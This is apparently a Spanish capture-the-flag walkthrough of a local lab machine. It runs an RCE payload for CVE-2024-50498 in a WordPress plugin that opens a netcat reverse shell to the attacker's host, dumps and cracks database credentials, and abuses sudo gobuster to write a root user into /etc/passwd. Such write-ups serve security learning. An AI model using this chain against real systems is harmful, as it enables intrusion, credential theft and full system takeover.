Enumeramos puertos:
❯ nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.5
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
80/tcp open http nginx 1.14.2
|_http-generator: WordPress 6.7.1
|_http-title: bammmmuwe
...Es WordPress; con wpscan encontramos el plugin wp-query-console:
❯ wpscan --url http://192.168.1.5 --plugins-detection aggressive -t 50
...
[+] wp-query-console
| Version: 1.0 ...
...Es vulnerable a RCE (CVE-2024-50498). Lanzamos el payload contra el endpoint del plugin con Burp:
POST /wp-json/wqc/v1/query HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/json
{"queryArgs":"shell_exec('nc 192.168.1.9 1234 -e /bin/bash');","queryType":"post"}❯ ncat -nlvp 1234
Ncat: Connection from 192.168.1.5:52716.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)En el wp-config.php están las credenciales de la BD; entramos a MySQL y volcamos los hashes de usuarios:
www-data@listen:/home$ mysql -D wordpress -u ll104567 -p
Enter password: thehandsomeguy
...
MariaDB [wordpress]> select * from wp_users;
...
| 2 | welcome | $P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/ | ...Crackeamos el de welcome con john y cambiamos de usuario:
❯ echo 'welcome:$P$BtP9ZghJTwDfSn1gKKc.k3mq4Vo.Ko/' > hash
❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
104567 (welcome)
...
www-data@listen:/home$ su welcome
Password: 104567
welcomeObtenemos la primera flag. Revisamos sudo -l:
welcome@listen:/tmp$ sudo -l
...
User welcome may run the following commands on listen:
(ALL) NOPASSWD: /usr/bin/gobusterAbusamos de gobuster para sobrescribir /etc/passwd: montamos un servidor Flask que devuelve 200 para nuestra línea de usuario (gobuster escribe en el output las rutas con código válido) y usamos el pwned.txt como wordlist:
❯ cat server.py
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch_all(path):
if len(path) == 36:
return Response(status=404)
else:
return Response(status=200)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=80)❯ perl -e 'print crypt("1234","aa")'
aatxRPdZ/m52.
welcome@listen:/tmp$ echo 'pwned:aatxRPdZ/m52.:0:0:x:/root:/bin/bash' > pwned.txt
welcome@listen:/tmp$ sudo /usr/bin/gobuster -w pwned.txt -u http://192.168.1.9 -n -q -o /etc/passwd
/pwned:aatxRPdZ/m52.:0:0:x:/root:/bin/bashEl nuevo usuario UID 0 queda escrito en /etc/passwd y nos autenticamos como él:
welcome@listen:/tmp$ su /pwned
Password: 1234
/pwned@listen:/tmp#Obtenemos nuestra flag.
Fin.